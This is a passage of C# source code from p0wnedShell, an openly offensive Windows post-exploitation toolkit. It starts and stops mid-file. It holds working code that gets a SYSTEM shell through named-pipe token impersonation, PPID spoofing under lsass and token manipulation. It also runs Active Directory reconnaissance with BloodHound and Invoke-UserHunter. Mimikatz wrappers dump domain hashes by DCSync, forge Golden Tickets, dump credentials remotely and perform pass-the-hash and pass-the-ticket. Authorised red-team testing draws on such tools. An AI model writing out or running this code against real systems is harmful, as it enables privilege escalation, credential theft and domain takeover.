Console.WriteLine("[*] Pipe Client connected on thread ID: {0} -> Reading data from the Pipe.", threadId);
// Create a StreamReader so we can Read from the Named Pipe
StreamReader pipeStreamReader = new StreamReader(pipeServer);
string readFromPipe = pipeStreamReader.ReadLine();
if (readFromPipe == null)
{
Console.WriteLine("[*] Failed to read data from the Pipe.");
return;
}
Console.WriteLine("[*] Number of bytes read: {0}", Encoding.ASCII.GetByteCount(readFromPipe) + 2);
Console.WriteLine("[*] Our buffer contains: {0}\n", readFromPipe);
// Impersonate the Client.
if (!ImpersonateNamedPipeClient(PipeHandle))
{
Console.WriteLine("[!] Failed to Impersonate client, error: {0}", Marshal.GetLastWin32Error());
}
Console.WriteLine("[*] Impersonate Named Pipe Client.");
// Get an impersonation token with the client's security context.
IntPtr hToken = IntPtr.Zero;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ACCESS.TOKEN_ALL_ACCESS, true, out hToken))
Console.WriteLine("[!] Failed to get Token, error: {0}", Marshal.GetLastWin32Error());
Console.WriteLine("[*] Get Impersonation Token.");
// Create an Primary token from our impersonation token
SECURITY_ATTRIBUTES lpSecurityAttributes = new SECURITY_ATTRIBUTES();
lpSecurityAttributes.nLength = Marshal.SizeOf(lpSecurityAttributes);
IntPtr hPrimaryToken = IntPtr.Zero;
bool result = DuplicateTokenEx(
hToken,
TOKEN_ACCESS.TOKEN_ALL_ACCESS,
ref lpSecurityAttributes,
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenPrimary,
out hPrimaryToken);
if (hPrimaryToken == IntPtr.Zero)
{
Console.WriteLine("[*] Failed Duplicating the Token.");
return;
}
Console.WriteLine("[*] Create a Primary Token from our Impersonation Token.");
// Modify token SessionId field to spawn a interactive Processes on the current desktop
uint sessionId = WTSGetActiveConsoleSessionId();
if (!SetTokenInformation(hPrimaryToken,
TOKEN_INFORMATION_CLASS.TokenSessionId,
ref sessionId,
sizeof(UInt32)))
{
Console.WriteLine("[*] Failed to Modify token SessionId.");
return;
}
// Get all necessary environment variables of logged in user to pass them to the process
IntPtr lpEnvironment = IntPtr.Zero;
if (!CreateEnvironmentBlock(out lpEnvironment, hPrimaryToken, true))
{
Console.WriteLine("[*] Failed to create EnvironmentBlock.");
return;
}
// Start Process with our New token
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
STARTUPINFO startupInfo = new STARTUPINFO();
const int SW_SHOW = 5;
string szCommandLine = "powershell.exe";
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "Winsta0\\default";
startupInfo.wShowWindow = SW_SHOW;
if (!CreateProcessWithTokenW(
hPrimaryToken,
LogonFlags.LOGON_WITH_PROFILE,
null,
szCommandLine,
CreateProcessFlags.NORMAL_PRIORITY_CLASS | CreateProcessFlags.CREATE_NEW_CONSOLE | CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT,
lpEnvironment,
null,
ref startupInfo,
out processInfo))
{
Console.WriteLine("[!] Failed to Create Process, error: {0}", Marshal.GetLastWin32Error());
}
// Destroy Environment Block
DestroyEnvironmentBlock(lpEnvironment);
// End impersonation of client
RevertToSelf();
//Close Token Handles
CloseHandle(hPrimaryToken);
CloseHandle(hToken);
// Close the pipe (automatically disconnects client too)
pipeServer.Close();
return;
}
}
private static int dwThreadCount = 1;
public static void EasySystemShell()
{
Console.WriteLine("___________ _________ __ ");
Console.WriteLine("\\_ _____/____ _________.__./ _____/__.__. _______/ |_ ____ _____ ");
Console.WriteLine(" | __)_\\__ \\ / ___< | |\\_____ < | |/ ___/\\ __\\/ __ \\ / \\ ");
Console.WriteLine(" | \\/ __ \\_\\___ \\ \\___ |/ \\___ |\\___ \\ | | \\ ___/| Y Y \\ ");
Console.WriteLine("/_______ (____ /____ >/ ____/_______ / ____/____ > |__| \\___ >__|_| / ");
Console.WriteLine(" \\/ \\/ \\/ \\/ \\/\\/ \\/ \\/ \\/ ");
Console.WriteLine(" By Cn33liz 2018 ");
if (!WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[!] For EasySystem you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
return;
}
Console.WriteLine("[*] Creating an instance of a Named Pipe.");
// Creating a MultiThreaded Named Pipe server (In this case only a single Thread)
uint i;
Thread[] pipeServers = new Thread[dwThreadCount];
for (i = 0; i < dwThreadCount; i++)
{
// Create Threads for the Clients
pipeServers[i] = new Thread(NamedPipeServerHelper.NamedPipeServer);
pipeServers[i].Start();
Console.WriteLine("[*] Server Thread with ID: {0} created.", pipeServers[i].ManagedThreadId);
if (pipeServers[i] == null)
{
Console.WriteLine("[!] Create Server Thread failed.");
return;
}
}
// Let's Create and Start a Service which should connect to our Pipe
string lpSVCName = "svcEasySystem";
string lpSVCCommand = @"%COMSPEC% /C echo 'Who's your daddy :)' > \\.\pipe\EasySystem";
if (!ServiceHelper.CreateNewService(lpSVCName, lpSVCCommand))
{
Console.WriteLine("[!] Are you sure you have Administrator permission?");
}
// Waiting for Threads to finish
Thread.Sleep(2000);
while (i > 0)
{
for (int j = 0; j < dwThreadCount; j++)
{
if (pipeServers[j] != null)
{
if (pipeServers[j].Join(2000))
{
Console.WriteLine("[*] Server Thread ID: {0} Finished successfully.", pipeServers[j].ManagedThreadId);
pipeServers[j] = null;
i--; // Decrement the Thread Watch Count.
}
}
}
}
Console.WriteLine("\n[*] Done\n");
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/PrivEsc/p0wnedSystem.cs<|end_filename|>
using System;
using System.Security.Principal;
namespace p0wnedShell
{
class GetSystem
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Get a SYSTEM shell using EasySystem or Token Manipulation *"};
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Get a SYSTEM shell using EasySystem (NamedPipe Impersonation).");
Console.WriteLine();
Console.WriteLine(" 2. Get a SYSTEM shell using CreateProcess PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.");
Console.WriteLine();
Console.WriteLine(" 3. Get a SYSTEM shell using Token Manipulation.");
Console.WriteLine();
Console.WriteLine(" 4. Back.");
Console.Write("\nEnter choice: ");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 4)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
if (!Program.IsElevated)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] For this function to succeed, you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else
{
SystemShell();
}
break;
case 2:
if (!Program.IsElevated)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] For this function to succeed, you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else
{
EasySystemPPID();
}
break;
case 3:
if (!Program.IsElevated)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] For this function to succeed, you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else
{
TokenShell();
}
break;
default:
break;
}
}
public static void SystemShell()
{
string[] toPrint = { "* Get a SYSTEM shell using EasySystem (NamedPipe Impersonation) *" };
Program.PrintBanner(toPrint);
EasySystem.EasySystemShell();
Console.WriteLine("[+] Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void EasySystemPPID()
{
if (!WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[!] For this function to succeed, you need UAC Elevated Administrator privileges.");
Console.ResetColor();
return;
}
string szCommandLine = "powershell.exe";
string PPIDName = "lsass";
int NewPPID = 0;
// Find PID from our new Parent and start new Process with new Parent ID
NewPPID = ProcessCreator.NewParentPID(PPIDName);
if (NewPPID == 0)
{
Console.WriteLine("\n[!] No suitable Process ID Found...");
return;
}
if (!ProcessCreator.CreateProcess(NewPPID, null, szCommandLine))
{
Console.WriteLine("\n[!] Oops PPID Spoof failed...");
return;
}
return;
}
public static void TokenShell()
{
string[] toPrint = { "* Get a SYSTEM shell using Token Manipulation *" };
Program.PrintBanner(toPrint);
Console.WriteLine("[+] Please wait for our SYSTEM shell to Popup...\n");
string SystemShell = "Invoke-TokenManipulation -CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"";
try
{
P0wnedListener.Execute(SystemShell);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/SitAwareness/p0wnedAwareness.cs<|end_filename|>
using System;
using System.IO;
using System.DirectoryServices.ActiveDirectory;
namespace p0wnedShell
{
class SitAwareness
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Use Invoke-UserHunter and/or BloodHound to identify Attack Paths *" };
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Find machines in the Domain where Domain Admins are logged into.");
Console.WriteLine();
Console.WriteLine(" 2. BloodHound: Six Degrees of Domain Admin.");
Console.WriteLine();
Console.WriteLine(" 3. BloodHound: Six Degrees of Domain Admin (Collect all data)");
Console.WriteLine();
Console.WriteLine(" 4. Back.");
Console.Write("\nEnter choice: ");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 4)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
AdminHunter();
break;
case 2:
BloodHound();
break;
case 3:
BloodHoundAll();
break;
default:
break;
}
}
public static void AdminHunter()
{
string[] toPrint = { "* Finds machines in the Domain where Domain Admins are logged into. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("[+] Please wait, this could take a while on large Domains...\n");
string UserHunter = "Invoke-UserHunter -CheckAccess";
try
{
P0wnedListener.Execute(UserHunter);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void BloodHound()
{
string[] toPrint = { "* BloodHound: Six Degrees of Domain Admin. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] BloodHound uses graph theory to reveal the hidden and often unintended relationships");
Console.WriteLine("[+] within an Active Directory environment. Attackers can use BloodHound to easily identify");
Console.WriteLine("[+] highly complex attack paths that would otherwise be impossible to quickly identify.");
Console.WriteLine("[+] Defenders can use BloodHound to identify and eliminate those same attack paths.");
Console.WriteLine("[+] More Info: https://github.com/BloodHoundAD/BloodHound/wiki\n");
Console.ResetColor();
Console.WriteLine("[+] Please wait, this could take a while on large Domains...\n");
string UserHunter = "Invoke-BloodHound -CompressData -RemoveCSV";
try
{
P0wnedListener.Execute(UserHunter);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
if (File.Exists(Program.P0wnedPath() + "\\BloodHound.bin"))
{
File.Delete(Program.P0wnedPath() + "\\BloodHound.bin");
}
Console.WriteLine("\n[+] BloodHound Data is saved in a zip file in the current directory.");
Console.WriteLine("[+] You can unzip and import the csv's in your offline BloodHound Installation.");
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
public static void BloodHoundAll()
{
string[] toPrint = { "* BloodHound: Six Degrees of Domain Admin. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] BloodHound uses graph theory to reveal the hidden and often unintended relationships");
Console.WriteLine("[+] within an Active Directory environment. Attackers can use BloodHound to easily identify");
Console.WriteLine("[+] highly complex attack paths that would otherwise be impossible to quickly identify.");
Console.WriteLine("[+] Defenders can use BloodHound to identify and eliminate those same attack paths.");
Console.WriteLine("[+] More Info: https://github.com/BloodHoundAD/BloodHound/wiki\n");
Console.ResetColor();
Console.WriteLine("[+] Please wait, this could take a while on large Domains...\n");
string UserHunter = "Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV";
try
{
P0wnedListener.Execute(UserHunter);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
if (File.Exists(Program.P0wnedPath() + "\\BloodHound.bin"))
{
File.Delete(Program.P0wnedPath() + "\\BloodHound.bin");
}
Console.WriteLine("\n[+] BloodHound Data is saved in a zip file in the current directory.");
Console.WriteLine("[+] You can unzip and import the csv's in your offline BloodHound Installation.");
Console.WriteLine("\nPress Enter to Continue...");
Console.ReadLine();
return;
}
}
}
<|start_filename|>p0wnedShell/Modules/ADAttacks/p0wnedADAttacks.cs<|end_filename|>
using System;
using System.IO;
using System.DirectoryServices.ActiveDirectory;
namespace p0wnedShell
{
class ADAttacks
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* Attacking Active Directory using Mimikatz *" };
Program.PrintBanner(toPrint);
}
public static void Menu()
{
PowerBanner();
Console.WriteLine(" 1. Use Mimikatz DCSync to collect AES and NTLM Hashes from Domain Accounts.");
Console.WriteLine();
Console.WriteLine(" 2. Use Mimikatz to generate a Golden Ticket for the Domain.");
Console.WriteLine();
Console.WriteLine(" 3. Execute Mimikatz on a remote computer to dump credentials.");
Console.WriteLine();
Console.WriteLine(" 4. Execute a Over-Pass The Hash Attack using Mimikatz.");
Console.WriteLine();
Console.WriteLine(" 5. Execute Mimikatz Pass The Ticket to inject Kerberos Tickets.");
Console.WriteLine();
Console.WriteLine(" 6. Back.");
Console.Write("\nEnter choice: ");
string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
int userInput = 0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 6)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
if (Arch == "AMD64")
{
DCSync();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Sorry this option only works for p0wnedShellx64\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
break;
case 2:
if (Arch == "AMD64")
{
GoldenTicket();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Sorry this option only works for p0wnedShellx64\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
break;
case 3:
if (Arch == "AMD64")
{
Remote_Mimikatz();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Sorry this option only works for p0wnedShellx64\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
break;
case 4:
if (Arch != "AMD64")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Sorry this option only works for p0wnedShellx64\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else if (!Program.IsElevated)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] For this function to succeed, you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
else
{
OverPassTheHash();
}
break;
case 5:
if (Arch == "AMD64")
{
PassTheTicket();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Sorry this option only works for p0wnedShellx64\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
}
break;
default:
break;
}
}
public static void DCSync()
{
string[] toPrint = { "* Use Mimikatz dcsync to collect NTLM hashes from the Domain *" };
Program.PrintBanner(toPrint);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For this attack to succeed, you need the Replicating Directory Changes account privileges (DSGetNCChanges).\n");
Console.ResetColor();
Console.Write("[+] Do you have the required permissions (e.g. Domain Admin)? (y/n) > ");
string User = null;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the name of the account from which we want the NTLM hash (e.g. krbtgt) > ");
Console.ForegroundColor = ConsoleColor.Green;
User = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (User == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid user account, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try to elevate your permissions.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Red;
Console.Write("\n[+] Please wait while requesting our hash...\n\n");
Console.ResetColor();
string DCSync = "Invoke-Mimikatz -Command '\"lsadump::dcsync /user:" + User + "\"'";
//string DCSync = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.Mimikatz() + "\" -split ' ') -ExeArgs '\"lsadump::dcsync /user:" + User + "\"'";
try
{
P0wnedListener.Execute(DCSync);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void GoldenTicket()
{
string[] toPrint = { "* Use Mimikatz to generate a Golden Ticket for the Domain *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For this attack to succeed, we need to have the ntlm hash of the krbtgt account.");
Console.WriteLine("[+] We can get this hash using Mimikatz DCSync.\n");
Console.ResetColor();
Console.Write("[+] Do you have the ntlm hash of the krbtgt account? (y/n) > ");
string krbtgt_hash = null;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the hash of our sweet krbtgt account > ");
Console.ForegroundColor = ConsoleColor.Green;
krbtgt_hash = Console.ReadLine();
Console.ResetColor();
if (krbtgt_hash.Length != 32)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid ntlm hash, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try to get this hash using Mimikatz DCSync or a NTDS.dit dump.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Domain domain = Domain.GetCurrentDomain();
DomainController Current_DC = domain.PdcRoleOwner;
string DomainName = domain.ToString();
Console.WriteLine("[+] First return the name of our current domain.\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(DomainName);
Console.ResetColor();
Console.WriteLine("\n[+] Now return the SID for our domain.\n");
string DomainSID = Pshell.RunPSCommand("Get-DomainSID").ToString().TrimEnd('\r', '\n');
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(DomainSID);
Console.ResetColor();
Console.Write("\n[+] Finally enter the name of the Super Human you want to be: ");
Console.ForegroundColor = ConsoleColor.Green;
string Super_Hero = Console.ReadLine();
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Now wait while generating a forged Ticket-Granting Ticket (TGT)...\n");
Console.ResetColor();
string Golden_Ticket = "Invoke-Mimikatz -Command '\"kerberos::purge\" \"kerberos::golden /domain:" + DomainName + " /user:" + Super_Hero + " /sid:" + DomainSID + " /krbtgt:" + krbtgt_hash + " /ticket:" + Program.P0wnedPath() + "\\" + Super_Hero + ".ticket\"'";
try
{
Console.WriteLine(Pshell.RunPSCommand(Golden_Ticket));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
if (File.Exists(Program.P0wnedPath() + "\\" + Super_Hero + ".ticket"))
{
string Pass_The_Ticket = "Invoke-Mimikatz -Command '\"kerberos::ptt " + Program.P0wnedPath() + "\\" + Super_Hero + ".ticket\"'";
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Now lets inject our Kerberos ticket in the current session\n");
Console.ResetColor();
try
{
Console.WriteLine(Pshell.RunPSCommand(Pass_The_Ticket));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Oops something went wrong, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
string DC_Listing = "Get-ChildItem \\\\" + Current_DC + "\\C$";
string SuperPower = null;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] And finally check if we really have SuperPower:\n");
Console.ResetColor();
try
{
SuperPower = Pshell.RunPSCommand(DC_Listing);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
if (SuperPower.Length <= 5)
{
string Purge_Ticket = "Invoke-Mimikatz -Command '\"kerberos::purge\"'";
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Oops something went wrong, probably a wrong krbtgt Hash? Please try again!\n");
Console.WriteLine("[+] Let's purge our invalid Ticket!\n");
Console.ResetColor();
File.Delete(Program.P0wnedPath() + "\\" + Super_Hero + ".ticket");
try
{
Console.WriteLine(Pshell.RunPSCommand(Purge_Ticket));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
else
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\n[+] OwYeah, " + Super_Hero + " you are in Full Control of the Domain :)\n");
Console.ResetColor();
Console.WriteLine(Pshell.RunPSCommand(DC_Listing));
}
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void Remote_Mimikatz()
{
string[] toPrint = { "* Execute Mimikatz on a remote computer to dump credentials. *" };
Program.PrintBanner(toPrint);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For this attack to succeed, you need to have remote Admin privileges.\n");
Console.ResetColor();
Console.Write("[+] Do you have the required permissions (e.g. Domain Admin)? (y/n) > ");
string Hostname = null;
string Creds = null;
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Console.Write("\n[+] Please enter the fqdn hostname of the machine you want to dump the credentials (e.g. dc1.gotham.local) > ");
Console.ForegroundColor = ConsoleColor.Green;
Hostname = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (Hostname == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid hostname, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try to elevate your permissions.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
string Remote_Mimikatz = "Invoke-Mimikatz -DumpCreds -ComputerName \"" + Hostname + "\"";
try
{
Creds = Pshell.RunPSCommand(Remote_Mimikatz);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
if (Creds.Length <= 5)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Oops something went wrong, maybe a wrong Hostname?\n");
Console.ResetColor();
}
else
{
Console.WriteLine(Pshell.RunPSCommand(Remote_Mimikatz));
}
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void OverPassTheHash()
{
string[] toPrint = { "* Execute a Over-Pass The Hash Attack using Mimikatz. *" };
Program.PrintBanner(toPrint);
string DomainJoined = String.Empty;
try
{
DomainJoined = Domain.GetComputerDomain().Name;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[+] For this attack to succeed, we need the aes256 hash");
Console.WriteLine("[+] from the user account we want to impersonate.");
Console.WriteLine("[+] We can get this hash using Mimikatz DCSync.");
Console.ResetColor();
Console.Write("\n[+] Do you have the needed aes256 hash? (y/n) > ");
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
break;
case "n":
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] First try getting the hash.\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("\n[+] First enter the name of the user account we want to impersonate: ");
Console.ForegroundColor = ConsoleColor.Green;
string User_Acc = Console.ReadLine();
Console.ResetColor();
Domain domain = Domain.GetCurrentDomain();
DomainController Current_DC = domain.PdcRoleOwner;
string DomainName = domain.ToString();
Console.WriteLine("[+] Now return the name of our current domain.\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(DomainName);
Console.ResetColor();
Console.WriteLine();
Console.Write("[+] Finally enter the aes256 hash of our user account > ");
Console.ForegroundColor = ConsoleColor.Green;
string aes_hash = Console.ReadLine();
Console.ResetColor();
if (aes_hash.Length != 64)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid aes256 hash, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Now wait while requesting a Kerberos ticket for the user we want to impersonate...\n");
Console.ResetColor();
string Over_PassHash = "Invoke-Mimikatz -Command '\"privilege::debug\" \"kerberos::purge\" \"sekurlsa::pth /user:" + User_Acc + " /domain:" + DomainName + " /aes256:" + aes_hash + "\"'";
try
{
P0wnedListener.Execute(Over_PassHash);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
public static void PassTheTicket()
{
string[] toPrint = { "* Use Mimikatz to inject a (Golden/Silver) Kerberos Ticket. *" };
Program.PrintBanner(toPrint);
string ticket = @"";
string Pass_The_Ticket = null;
Console.Write("[+] Please enter the name of the ticket file > ");
Console.ForegroundColor = ConsoleColor.Green;
ticket = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (ticket == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid ticket name, please try again\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.Write("\n[+] Do you want to purge existing Kerberos tickets? (y/n) > ");
string input = Console.ReadLine();
switch (input.ToLower())
{
case "y":
Pass_The_Ticket = "Invoke-Mimikatz -Command '\"kerberos::purge\" \"kerberos::ptt " + ticket + "\"'";
break;
case "n":
Pass_The_Ticket = "Invoke-Mimikatz -Command '\"kerberos::ptt " + ticket + "\"'";
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
